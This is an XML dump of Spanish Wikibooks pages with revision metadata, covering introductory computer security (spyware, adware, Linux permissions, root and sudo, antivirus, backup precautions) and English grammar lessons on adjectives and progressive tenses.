Un usuario puede dañar el sistema, e igual, aunque lo repare parcialmente, puede quedar inestable.
Puede hacer al sistema inarrancable, o bloquear sus herramientas.

De cualquier forma, incluso en Windows se han tomado medidas para evitar eso, pero esto no quita que un usuario con poder dañe el sistema voluntaria o accidentalmente.

===Conclusión===
Si vamos a hacer algo que conocemos poco y tiene que ver con modificación o eliminación de programas, es mejor pedírselo a alguien o no hacerlo, además de tomar nuestras medidas de precaución, tales como las copias de seguridad.

{{AutoCat}}</text>
      <sha1>18xdkjmbjzru0wze16se2c6dkda8cpp</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Ad-ware y Spy-ware</title>
    <ns>0</ns>
    <id>14813</id>
    <revision>
      <id>429778</id>
      <parentid>139588</parentid>
      <timestamp>2026-08-01T21:33:22Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429778</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1711" sha1="l0wlc8zyqbzwow9km0rhdy41537sq7x" xml:space="preserve">== Diferencias. ==
El spyware es una derivación de los troyanos, y este se encarga de realizar varias clases de seguimientos al usuario (que páginas ve, qué archivos contiene su equipo, los programas), e incluso llegan a capturar información privada, estos se instalan de dos maneras:

===Licencias===
El software compartido o Shareware completo, no se paga solo, necesita un &quot;patrocinador&quot;, y este se instala junto con el programa, esto se lee en sus CLUF's (Contrato de Licencia Usuario Final), en el que se dice &quot;Este software gratuito  recopilará datos personales y no se permite su libre distribución sin este&quot;.

===Estafas y Exploits.===
Una segunda vía es por páginas irregulares que contiene bots que primero se infiltran en el sistema por una vulnerabilidad, ya sea por ActiveX o cualquier otro, y después se encarga de descargar el spyware.

Algunos Spyware son simplemente animaciones Flash como el SpySheriff o SpyWare No! en el que simplemente mueven una animación de análisis, te pasan todas tus carpetas, y ponen nombres y ubicaciones de archivos con fondo rojo para decir que uno está infectado, luego, en la desinfección, se le pide su tarjeta de crédito.

===Ad-ware===
&quot;Ad&quot;, abreviatura de &quot;advertisement&quot;, significa &quot;Anuncio&quot; y este software entra por la licencia del software Usuario Final, es el que manda pop-ups y el que pone el anuncio en la ventana del programa.

==Eliminación==

Sencillo, desinstale el programa, en caso contrario, si usa una herramienta de eliminación, y usa su programa, puede decirle &quot;No se encuentra el archivo *.*&quot; o alguno parecido, si ya lo hizo y de todas maneras se quedaron, es recomendable usar la herramienta de eliminación.

{{AutoCat}}</text>
      <sha1>l0wlc8zyqbzwow9km0rhdy41537sq7x</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Presente perfecto progresivo</title>
    <ns>0</ns>
    <id>14937</id>
    <revision>
      <id>429915</id>
      <parentid>179907</parentid>
      <timestamp>2026-08-01T22:09:14Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429915</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3950" sha1="4kbz1jhnzypir0jc8s0sp39pkp9avj7" xml:space="preserve">== present perfect progresive  ==


If the verb consists of only one syllable and the last three letters are: consonant plus vowel plus consonant, we will double the last consonant and then add &quot;-ing&quot;. Eg:

I plan my weekend ahead. (Planeo el fin de semana que viene)

I have been planning my weekend ahead. (He estado planeando el fin de semana que viene)

For the negative form we use &quot;not&quot; after the verb &quot;to have&quot;. Eg:

I have not (haven't) been baking a cake but I have been baking a pie. (No he estado haciendo un pastel sino una empanada)

She has not (hasn't) been watching television. (Ella no ha estado viendo la televisión)

For the interrogative form we place the verb &quot;to have&quot; in front of the person. Eg:

Have you been playing tennis? (¿Has estado jugando al tennis?)

Has she been listening to the radio? (¿Ha estado (ella) escuchando la radio?) 


SOME GENERAL USES

 
We use the present perfect continuous to talk about unfinished actions that started in the past and are continuing now. Eg: 

I have been baking this cake. (He estado haciendo este pastel)

The present perfect continuous is also used to express actions that are not finished and were progressive in the past. Eg:

She has been painting a picture the whole day. (Ella ha estado pintando un cuadro todo el día)

Here, she started to paint the picture and she has been painting for a period of time during the day, but in the moment of speaking she has not finished painting the picture.

 
We can measure the duration of the progressive action with &quot;how long?&quot; and with &quot;for/since&quot;. Eg:

I have been studying English for five years. (He estado estudiando inglés durante cinco años)

How long have you been studying the present perfect continuous? (¿Cuánto tiempo has estado estudiando el presente perfecto continuo?)

We sometimes use the present perfect continuous to express a continuous action in the past that has recently finished. Eg:

I've been playing football. (He estado jugando al fútbol)

This example means that &quot;I&quot; have just finished an action that was continuous in the past.

 
The present perfect continuous can also be used to express something the speaker has been meaning to do for a while, an intention or thought. Eg:

She has been trying to get hold of you for hours. (Ella ha estado intentando ponerse en contacto contigo durante horas)

We have been thinking of phoning them. (Hemos estado pensando en llamarlos) 


Lets us conjugate a verb as an example.  We are going to take the verb &quot;to study&quot;. 


  Positive
 Negative
 Question
 
I have been studying haven't been studying have I been studying? 
You have been studying haven't been studying have I been studying? 
He has been studying hasn't been studying has he been studying? 
She has been studying hasn't been studying has she been studying? 
It has been studying hasn't been studying has it been studying? 
We have been studying haven't been studying have we been studying? 
You (all) have been studying haven't been studying have you been studying? 
They have been studying haven't been studying have they been studying? 


Learn English Verbs Practice. 

If you haven't already done so, download our English Verb Conjugator and practice what you have learnt here with the 10 suggested verbs below. Let's see how many correct answers you get. 

mark
move
note
ski
suit
taste
eat
flee
inlay


To form the present perfect simple tense we need the present simple tense of the verb &quot;to have&quot; and the past participle of another verb. To form the past participle of the regular verbs we add &quot;-ed&quot; to the verb. Eg:

I have studied the present perfect simple. (He estudiado el presente perfecto)

Some verbs have spelling changes when adding &quot;-ed&quot;. Eg: If the verb ends in &quot;-e&quot;, we only add &quot;-d&quot; to form the past participle.

They live in a big house. (Viven en una casa grande)

They have lived in a big house. (Han vivido en una casa grande)

 
make</text>
      <sha1>4kbz1jhnzypir0jc8s0sp39pkp9avj7</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Sujetos y objetos</title>
    <ns>0</ns>
    <id>14939</id>
    <revision>
      <id>429828</id>
      <parentid>352578</parentid>
      <timestamp>2026-08-01T22:02:21Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429828</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6818" sha1="f9qig8tdv9q1s4jyg75dq7kbgzmj86c" xml:space="preserve">{{Ingléstitulo|title=Adjectives - Sujetos y objetos}}

{{Ingléscolumnas|inglés=Adjectives are the words we use to describe the nouns . They can tell you any characteristic of the noun they go with.  This could be about its shape, colour, size, etc. In English, adjectives are invariable words, that is, they only take on one single or unique form (singular). Unlike Spanish, English adjectives DO NOT possess gender and DO NOT change from singular to plural when the noun they describe changes its form.


|español=Adjetivos son las palabras que usamos para describir el sustantivo. Ellos te pueden decir cualquier caracteristica del sustantivo cuando van con el.Esto puede ser de su figura, color, ect. En inglés, adjetivos son palabras invariables, eso es, ellos son, ellos solamente agaran a una sola o única forma (singular). No es como el español porque el inglés, los adjetivos del inglés NO CONTIENEN genero.}}

Adjectives in English usually go before the noun. Eg:

adjectivos en ingles muchas veces van antes del sustantivo. Ej: 

They bought a big house.  (Compraron una casa grande)   (pronoun + verb + article + adjective + noun)

 
We have studied that adjectives describe the nouns, but they can also be used to compare two different nouns. This phenomenon is what we call &quot;comparisons&quot;. The only time we see changes in the adjectives' form, is with the comparisons. Let's learn the four types of comparisons.

==&gt; Equality: The two nouns that we are comparing, share the characteristic the adjective is describing at the same level. There is no difference between the nouns in that compared aspect. For this comparison we use the structure &quot;as + adjective + as&quot;. E.g.:
I can learn English as fast as Tim.  (Puedo aprender inglés tan rápido como Tim) 

In this example both Tim and I possess the characteristic of being able to learn English fast.

==&gt; Comparatives: In this case one noun possesses the compared characteristic in a higher level than the other noun. For this type of comparative we use the structure &quot;adjective + er + than&quot;. If the adjective we are comparing has two or more syllables we use &quot;more + adjective + than&quot;. E.g.:
My computer is faster than yours.  (Mi ordenador es más rápido que el tuyo)

My computer is more reliable than yours.  (Mi ordenador es más fiable que el tuyo)

==&gt; Inferiority: It is the opposite type of comparison of the above explained. One noun has the characteristic the adjective describes in a lower level than the other noun. We use the structure &quot;less + adjective + than&quot;. E.g.:
My computer is less reliable than yours.  (Mi ordenador es menos fiable que el tuyo) This type of comparison is less frequently used.

==&gt; Superlative: The noun we are describing and comparing possesses a quality in the highest level or in the lowest level. We use the structure: &quot;the + adjective + est&quot;. If the adjective has two or more syllables we use instead &quot;the most + adjective&quot; to express the highest level and &quot;the least + adjective&quot; to describe the lowest level. Eg:
My computer is the fastest .  (Mi ordenador es el más rápido)

My computer is the most reliable.  (Mi ordenador es el más fiable)

My computer is the slowest.  (Mi ordenador es el más lento)

 
Some of the adjectives in English are irregular when making the comparisons. We need to learn them by heart. 

 
Adjective:
 
Comparative 

Superlative 


bad (malo)	  worse (peor)	  the worst (el peor)

good (bueno)	  better (mejor)  the best (el mejor)

little (pequeño)  less (menos)	  the least (generally: el/lo menos)

many (mucho)	  more (más)	  the most (el más)

old (viejo)	  older (mayor)	  the oldest (el mayor)

 
Other types of adjectives help us establish a possession relation, they are the possessive adjectives. They go before the noun that is possessed and they are invariable. We only distinguish in the 3rd singular person the gender of the possessor, the rest of the persons remain the same form even when the noun that follows is plural. They are:

 
1st person  my (mi / mis)  
2nd person  your (tu / tus)  
3rd person  his(male possessor) (su / sus) 
3rd person  her(female possessor) (su / sus) 
3rd person  its(animal or object) (su / sus) 
1st person plural  our (nuestro/a/os/as)  
2nd person plural  your (vuestro/a/os/as)  
3rd person plural  their (su / sus) 


&quot;-ED&quot; or &quot;-ING&quot; ADJECTIVES

 
These adjectives come from verbs. They are actually the participle of the verb. Not every verb is going to produce a participle, which is going to be at the same time an adjective. They can appear in two forms, they either end in &quot;-ed&quot; or &quot;-ing&quot;, although, as always, there are exceptions and in this case they are the irregular verbs.

The &quot;-ing adjectives&quot; describe a continuous or typical characteristic of the noun they are describing. Eg:
A leaking pipe.  (Una tubería con fugas)

In this example the adjective &quot;leaking&quot; describes the noun &quot;pipe&quot; and at the same time indicates that the characteristic that it is mentioning is a continuous feature of the noun, but not necessary a permanent feature.

The &quot;-ed adjectives&quot; are most of the past participles of the verbs that admit a direct object (the result of the verb action). These adjectives describe the nouns according to the state that the verb action has on them. Eg:
A selected word.  (Una palabra seleccionada)

In this example the verb &quot;select&quot; has produced a state in the noun &quot;word&quot;, and we use the past participle &quot;selected&quot; to describe the noun.


== DEMONSTRATIVE ADJECTIVES  ==


LEARN ENGLISH DEMONSTRATIVE ADJECTIVES 
We use the demonstrative adjectives THIS (este, esta), THAT (ese, esa, aquel, aquella), THESE (estos, estas), THOSE (esos, esas, aquellos, aquellas) to draw attention to particular people, objects, animals, events, etc. They help us to locate the noun they go with in relation to the speaker in space or time. 

THIS (este, esta, esto) and THAT (ese, esa, eso, aquel, aquella, aquello) are used before singular nouns. THIS (este, esta, esto) shows a closer position of the object to the speaker and THAT (ese, esa, aquel, aquella) a further position. Eg:
I learn English with this fast computer.  (Aprendo inglés con este ordenador rápido) 

They learn English with that slower computer.  (Ellos aprenden inglés con aquel ordenador más lento)


THESE (estos, estas) and THOSE (esos, esas, aquellos, aquellas) are used before plural nouns. THESE (estos, estas) show a closer position of the object to the speaker and THOSE (esos, esas, aquellos, aquellas) a further position. Eg: 
These faster computers are used to learn English, while those slower computers are not.  (Estos ordenadores más rápidos son utilizados para aprender inglés, mientras que aquellos ordenadores más lentos no).

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>f9qig8tdv9q1s4jyg75dq7kbgzmj86c</sha1>
    </revision>
    <revision>
      <id>429917</id>
      <parentid>429828</parentid>
      <timestamp>2026-08-01T22:09:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429917</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="6778" sha1="9lq6f1azx7deb078cxeyxk83wg0ywfk" xml:space="preserve">{{Ingléstitulo|title=Adjectives - Sujetos y objetos}}

{{Ingléscolumnas|inglés=Adjectives are the words we use to describe the nouns . They can tell you any characteristic of the noun they go with.  This could be about its shape, colour, size, etc. In English, adjectives are invariable words, that is, they only take on one single or unique form (singular). Unlike Spanish, English adjectives DO NOT possess gender and DO NOT change from singular to plural when the noun they describe changes its form.


|español=Adjetivos son las palabras que usamos para describir el sustantivo. Ellos te pueden decir cualquier caracteristica del sustantivo cuando van con el.Esto puede ser de su figura, color, ect. En inglés, adjetivos son palabras invariables, eso es, ellos son, ellos solamente agaran a una sola o única forma (singular). No es como el español porque el inglés, los adjetivos del inglés NO CONTIENEN genero.}}

Adjectives in English usually go before the noun. Eg:

adjectivos en ingles muchas veces van antes del sustantivo. Ej: 

They bought a big house.  (Compraron una casa grande)   (pronoun + verb + article + adjective + noun)

 
We have studied that adjectives describe the nouns, but they can also be used to compare two different nouns. This phenomenon is what we call &quot;comparisons&quot;. The only time we see changes in the adjectives' form, is with the comparisons. Let's learn the four types of comparisons.

==&gt; Equality: The two nouns that we are comparing, share the characteristic the adjective is describing at the same level. There is no difference between the nouns in that compared aspect. For this comparison we use the structure &quot;as + adjective + as&quot;. E.g.:
I can learn English as fast as Tim.  (Puedo aprender inglés tan rápido como Tim) 

In this example both Tim and I possess the characteristic of being able to learn English fast.

==&gt; Comparatives: In this case one noun possesses the compared characteristic in a higher level than the other noun. For this type of comparative we use the structure &quot;adjective + er + than&quot;. If the adjective we are comparing has two or more syllables we use &quot;more + adjective + than&quot;. E.g.:
My computer is faster than yours.  (Mi ordenador es más rápido que el tuyo)

My computer is more reliable than yours.  (Mi ordenador es más fiable que el tuyo)

==&gt; Inferiority: It is the opposite type of comparison of the above explained. One noun has the characteristic the adjective describes in a lower level than the other noun. We use the structure &quot;less + adjective + than&quot;. E.g.:
My computer is less reliable than yours.  (Mi ordenador es menos fiable que el tuyo) This type of comparison is less frequently used.

==&gt; Superlative: The noun we are describing and comparing possesses a quality in the highest level or in the lowest level. We use the structure: &quot;the + adjective + est&quot;. If the adjective has two or more syllables we use instead &quot;the most + adjective&quot; to express the highest level and &quot;the least + adjective&quot; to describe the lowest level. Eg:
My computer is the fastest .  (Mi ordenador es el más rápido)

My computer is the most reliable.  (Mi ordenador es el más fiable)

My computer is the slowest.  (Mi ordenador es el más lento)

 
Some of the adjectives in English are irregular when making the comparisons. We need to learn them by heart. 

 
Adjective:
 
Comparative 

Superlative 


bad (malo)	  worse (peor)	  the worst (el peor)

good (bueno)	  better (mejor)  the best (el mejor)

little (pequeño)  less (menos)	  the least (generally: el/lo menos)

many (mucho)	  more (más)	  the most (el más)

old (viejo)	  older (mayor)	  the oldest (el mayor)

 
Other types of adjectives help us establish a possession relation, they are the possessive adjectives. They go before the noun that is possessed and they are invariable. We only distinguish in the 3rd singular person the gender of the possessor, the rest of the persons remain the same form even when the noun that follows is plural. They are:

 
1st person  my (mi / mis)  
2nd person  your (tu / tus)  
3rd person  his(male possessor) (su / sus) 
3rd person  her(female possessor) (su / sus) 
3rd person  its(animal or object) (su / sus) 
1st person plural  our (nuestro/a/os/as)  
2nd person plural  your (vuestro/a/os/as)  
3rd person plural  their (su / sus) 


&quot;-ED&quot; or &quot;-ING&quot; ADJECTIVES

 
These adjectives come from verbs. They are actually the participle of the verb. Not every verb is going to produce a participle, which is going to be at the same time an adjective. They can appear in two forms, they either end in &quot;-ed&quot; or &quot;-ing&quot;, although, as always, there are exceptions and in this case they are the irregular verbs.

The &quot;-ing adjectives&quot; describe a continuous or typical characteristic of the noun they are describing. Eg:
A leaking pipe.  (Una tubería con fugas)

In this example the adjective &quot;leaking&quot; describes the noun &quot;pipe&quot; and at the same time indicates that the characteristic that it is mentioning is a continuous feature of the noun, but not necessary a permanent feature.

The &quot;-ed adjectives&quot; are most of the past participles of the verbs that admit a direct object (the result of the verb action). These adjectives describe the nouns according to the state that the verb action has on them. Eg:
A selected word.  (Una palabra seleccionada)

In this example the verb &quot;select&quot; has produced a state in the noun &quot;word&quot;, and we use the past participle &quot;selected&quot; to describe the noun.


== DEMONSTRATIVE ADJECTIVES  ==


LEARN ENGLISH DEMONSTRATIVE ADJECTIVES 
We use the demonstrative adjectives THIS (este, esta), THAT (ese, esa, aquel, aquella), THESE (estos, estas), THOSE (esos, esas, aquellos, aquellas) to draw attention to particular people, objects, animals, events, etc. They help us to locate the noun they go with in relation to the speaker in space or time. 

THIS (este, esta, esto) and THAT (ese, esa, eso, aquel, aquella, aquello) are used before singular nouns. THIS (este, esta, esto) shows a closer position of the object to the speaker and THAT (ese, esa, aquel, aquella) a further position. Eg:
I learn English with this fast computer.  (Aprendo inglés con este ordenador rápido) 

They learn English with that slower computer.  (Ellos aprenden inglés con aquel ordenador más lento)


THESE (estos, estas) and THOSE (esos, esas, aquellos, aquellas) are used before plural nouns. THESE (estos, estas) show a closer position of the object to the speaker and THOSE (esos, esas, aquellos, aquellas) a further position. Eg: 
These faster computers are used to learn English, while those slower computers are not.  (Estos ordenadores más rápidos son utilizados para aprender inglés, mientras que aquellos ordenadores más lentos no).

{{AutoCat}}</text>
      <sha1>9lq6f1azx7deb078cxeyxk83wg0ywfk</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Pasado perfecto progresivo</title>
    <ns>0</ns>
    <id>15044</id>
    <revision>
      <id>429805</id>
      <parentid>370461</parentid>
      <timestamp>2026-08-01T22:00:09Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429805</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1920" sha1="fu5j34aj9vwk1s82my14fdabzyyjr3j" xml:space="preserve">{{Ingléstitulo|title=Past Perfect Progressive - Pasado Perfecto Progresivo}}


{{Ingléscolumnas|inglés=The Past Perfect Progressive tense is used to express continuity in a past action done &lt;u&gt;before&lt;/u&gt; another past action.

|español=El Pasado Perfecto Progresivo es usado para expresar continuidad en una acción pasada &lt;u&gt;previa&lt;/u&gt; a otra pasada}}


El '''pasado perfecto progresivo''' del Inglés tiene la misma estructura que el [[Inglés/Pasado perfecto|Pasado perfecto]], excepto que se utiliza el ''past participle'' (participio pasado) del verbo ''be'' y el ''present participle'' (participio presente) del verbo a conjugar.

La forma general sería:


{|align=&quot;center&quot;
| '''Pronombre''' || + || '''have''' conjugado en pasado || + || '''been''' || + || '''present participle''' del verbo a conjugar
|}


Por ejemplo, tomemos el verbo run.


{| style=&quot;border:1px solid #AAAACC;&quot; rules=&quot;all&quot;  cellspacing=&quot;0&quot; 
! style=&quot;width:225px; background:#EEEEFF&quot;|
! style=&quot;width:225px; background:#EEEEFF&quot;| singular
! style=&quot;width:225px; background:#EEEEFF&quot;| plural
|- align=center
! style=&quot;background:#EEEEFF&quot;|First Person
| I had been running
| We had been running
|- align=center
! style=&quot;background:#EEEEFF&quot;|Second Person
| You had been running 
| You had been running
|- align=center
! style=&quot;background:#EEEEFF&quot;|Third Person
| He/She had been running
| They had been running
|}


Como se puede observar, todas las conjugaciones son iguales, dando facilidad a la conjugación.

=='''''Uso'''''==

El tiempo es usado para expresar continuidad en una acción pasada &lt;u&gt;previa&lt;/u&gt; a otra pasada, que a veces también es continua (past continuous). En otras palabras, tiene el mismo uso que el ''Past Perfect'' (pasado perfecto), pero en cambio, esta vez se añade continuidad a la acción.

Por ejemplo: I was sweating because I had been training all night long 

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>fu5j34aj9vwk1s82my14fdabzyyjr3j</sha1>
    </revision>
    <revision>
      <id>429907</id>
      <parentid>429805</parentid>
      <timestamp>2026-08-01T22:09:12Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429907</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1880" sha1="o9dlb0y4v7psyueb5dfrttc4i7507yo" xml:space="preserve">{{Ingléstitulo|title=Past Perfect Progressive - Pasado Perfecto Progresivo}}


{{Ingléscolumnas|inglés=The Past Perfect Progressive tense is used to express continuity in a past action done &lt;u&gt;before&lt;/u&gt; another past action.

|español=El Pasado Perfecto Progresivo es usado para expresar continuidad en una acción pasada &lt;u&gt;previa&lt;/u&gt; a otra pasada}}


El '''pasado perfecto progresivo''' del Inglés tiene la misma estructura que el [[Inglés/Pasado perfecto|Pasado perfecto]], excepto que se utiliza el ''past participle'' (participio pasado) del verbo ''be'' y el ''present participle'' (participio presente) del verbo a conjugar.

La forma general sería:


{|align=&quot;center&quot;
| '''Pronombre''' || + || '''have''' conjugado en pasado || + || '''been''' || + || '''present participle''' del verbo a conjugar
|}


Por ejemplo, tomemos el verbo run.


{| style=&quot;border:1px solid #AAAACC;&quot; rules=&quot;all&quot;  cellspacing=&quot;0&quot; 
! style=&quot;width:225px; background:#EEEEFF&quot;|
! style=&quot;width:225px; background:#EEEEFF&quot;| singular
! style=&quot;width:225px; background:#EEEEFF&quot;| plural
|- align=center
! style=&quot;background:#EEEEFF&quot;|First Person
| I had been running
| We had been running
|- align=center
! style=&quot;background:#EEEEFF&quot;|Second Person
| You had been running 
| You had been running
|- align=center
! style=&quot;background:#EEEEFF&quot;|Third Person
| He/She had been running
| They had been running
|}


Como se puede observar, todas las conjugaciones son iguales, dando facilidad a la conjugación.

=='''''Uso'''''==

El tiempo es usado para expresar continuidad en una acción pasada &lt;u&gt;previa&lt;/u&gt; a otra pasada, que a veces también es continua (past continuous). En otras palabras, tiene el mismo uso que el ''Past Perfect'' (pasado perfecto), pero en cambio, esta vez se añade continuidad a la acción.

Por ejemplo: I was sweating because I had been training all night long 

{{AutoCat}}</text>
      <sha1>o9dlb0y4v7psyueb5dfrttc4i7507yo</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Lo básico en seguridad</title>
    <ns>0</ns>
    <id>15085</id>
    <revision>
      <id>429769</id>
      <parentid>235616</parentid>
      <timestamp>2026-08-01T21:32:27Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429769</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2090" sha1="34bd4or2i18ept45zg9ol7b8o3wpnlu" xml:space="preserve">{{enobras}}
[[Archivo:Gnulinux.png|150px|thumb|En la imagen, las mascotas oficiales de los proyectos [[w:GNU|GNU]] y [[w:Linux (kernel)|Linux]].]]
Para empezar, primero hay que saber que es exactamente [[w:GNU/Linux|GNU/Linux]]. 
Como pueden ver en el artículo de nuestro proyecto hermano Wikipedia, se trata de un sistema operativo moderno, orientado a redes desde sus inicios, seguro y cada vez se hace más fácil de aprender sin mencionar que es el 3° sistema operativo más usado solo después de Mac y Windows {{cita requerida}}.

GNU es de '''Código libre''' y Linux es de '''Código abierto''', lo que significa que todo el mundo puede acceder al código fuente y verlo, aprender de el y modificarlo. Esto en lo que respecta a seguridad tiene tanto sus ventajas y desventajas {{cita requerida}}.

==Dominios del usuario==
A diferencia de Windows, en Linux, es el Usuario y no el sistema el que decide lo que tiene que hacerse; sólo un usuario raíz o Root (conocido como '''Superusuario''') puede copiar, mover y eliminar archivos del sistema y los programas deben contar con el permiso de este usuario para poder realizar este tipo de acciones, en otras palabras: '''El usuario es la máxima autoridad y no el sistema'''.

Pero, si el ordenador solo tiene un solo usuario, no es necesario adueñarse de la contraseña de root para causar gran daño.

===Ventajas de seguridad en Linux===
*Al disponerse del código fuente, muchas más personas pueden verlo y corregir los errores. Esto significa que comúnmente el exploit sale semanas después del parche.
*Sólo el usuario raíz puede instalar y desinstalar programas.
*El usuario es el que tiene la última palabra.
*Soporte técnico de voluntarios, también muchos foros de ayuda y opción de soporte profesional de pago.

===Desventaja de seguridad en Linux===
*Según la distribución requiere un conjunto de conocimientos superiores a la media.
*El desconocimiento de los paquetes por parte del usuario puede acarrear problemas.
*Esto no lo hace inmune a otro tipo de prácticas como pueden ser el Phishing.

{{AutoCat}}</text>
      <sha1>34bd4or2i18ept45zg9ol7b8o3wpnlu</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/¿Es necesario antivirus?</title>
    <ns>0</ns>
    <id>15086</id>
    <revision>
      <id>429770</id>
      <parentid>411848</parentid>
      <timestamp>2026-08-01T21:32:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429770</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="895" sha1="pmg2l087e93i2z4tmyzqc21hjdnac8q" xml:space="preserve">=Virus en Linux=

==¿Existen?==
Sí. Pero aunque con el crecimiento de Linux en el escritorio el número de virus que teóricamente le afectan se ha multiplicado, no suponen una amenaza real dada la administración de permisos de ejecución y la separación de root (administrador) y el resto de usuarios.

==Antivirus==
Los antivirus en Linux suelen tener como principal propósito proteger a usuarios de Windows. Por ejemplo, si un servidor de correo con Linux recibe un correo infectado, el antivirus protege al usuario de Windows que vaya a descargar el correo.

Un antivirus puede ser omitido con unos conocimientos mínimos del sistema de permisos y una actuación en consecuencia.

Podemos también aclarar que existen otros antivirus (no libres) para Linux tales como Kaspersky, AVG, y F-Prot que son conocidos en el mundo Windows pero también disponen de versiones Linux.

{{AutoCat}}</text>
      <sha1>pmg2l087e93i2z4tmyzqc21hjdnac8q</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Super Usuario</title>
    <ns>0</ns>
    <id>15087</id>
    <revision>
      <id>429771</id>
      <parentid>70368</parentid>
      <timestamp>2026-08-01T21:32:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429771</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1379" sha1="bv12dhtvm1gfgukqui0p9xnbkgdbwvt" xml:space="preserve">=SuperUsuario=

==Principios==
El super usuario es el encargado de instalar y desinstalar software, administrar hardware y demás tareas que requieren delicadeza. Fue hecho para que los usuarios comunes no dañen el equipo.

==Riesgos==
Ciertas distribuciones tienen el Super Usuario (o Root) por default, es decir, en una máquina nueva, el primer usuario será root, lo que conlleva a que desde el comienzo se hagan modificaciones riesgosas al sistema.

Debido a que Linux no tiene siempre configurado las tarjetas de Vídeo, un usuario Root puede tratar de hacerlo, esto es peligroso, en el sentido de que si falla, sólo podrán loggear en modo consola, además de que modifica un archivo importante del sistema, restaurarlo requeriría recordar la linea... en fin, la solución más rápida es reinstalar todo.

==Prevenciones==
La distribución de Ubuntu no tiene Root al inicio, pero usa SUDO, que otorga por 15 minutos el derecho de Super usuario, desde hacer una línea de consola:

 usuario$ sudo apt-get moo
 password:

Hasta permitir que el administrador gráfico de archivos Nautilus sea Root

 gksudo nautilus.

Al igual que este, otras distribuciones toman sus medidas para evitar el abuso de Root. Pero hay que tener cuidado con su manejo y manejar con cuidado todo el sistema y evitar tocar o hacer tareas administrativas, a menos que sea necesario.

{{AutoCat}}</text>
      <sha1>bv12dhtvm1gfgukqui0p9xnbkgdbwvt</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Medidas de seguridad</title>
    <ns>0</ns>
    <id>15476</id>
    <revision>
      <id>429772</id>
      <parentid>226777</parentid>
      <timestamp>2026-08-01T21:32:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429772</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2425" sha1="iuwyhzc3u2dt9n9sfl9mixhu8o6yt1c" xml:space="preserve">=Seguridad de alto espectro=

Debido a que Linux es un punto fuerte en materia de  seguridad informatica, es difícil que sufra daños, aunque hay que tomar lo siguiente en cuenta.

==Administración fuera de la carpeta /home/==

Cualquier usuario que haya migrado a Linux debe saber que cualquier edición de los archivos del sistema puede ser peligroso y dejar al sistema inestable, o igual, si uno no sabe manejar las actualizaciones del servidor gráfico, puede causar un colapso, que se puede considerar &quot;grave&quot; en cuanto a que se tendrá que manejar con la línea de comando.

==Configuración de drivers, actualizaciones y upgrades==

Debido a que la mayoría de los controladores son para windows en algunas partes del hardware, en Linux requiere la edición de archivos de configuraciones, si no se escriben correctamente, habrá problemas... por lo que es mejor hacer unas cuantas lineas de comando, algo parecido a esto:

 cp /sys/block/dm-0/uevent /home/usuario/backup

En este caso, hemos copiado este archivo del sistema a nuestra carpeta personal, luego, haremos nuestra edición y, si llegara a haber un error, bastaría con revertir las líneas anteriores a:

 cp /home/usuario/backup/uevent /sys/block/dm-0

Suponiendo que ya han iniciado como usuario ROOT.

===Actualizaciones===

Todos los sistemas están en constante desarrollo, pero una mala actualización puede causar una desconfiguración en el equipo, pero a la vez, es recomendable actualizar periódicamente el sistema.

===Upgrades===
Normalmente, los Upgrades son ascensos de versiones, es decir, una actualizción del Programa versión 1.1 lo convierte en 1.2 o 1.1.2, en cambio, el ubgrade hace al programa versión 2.0.

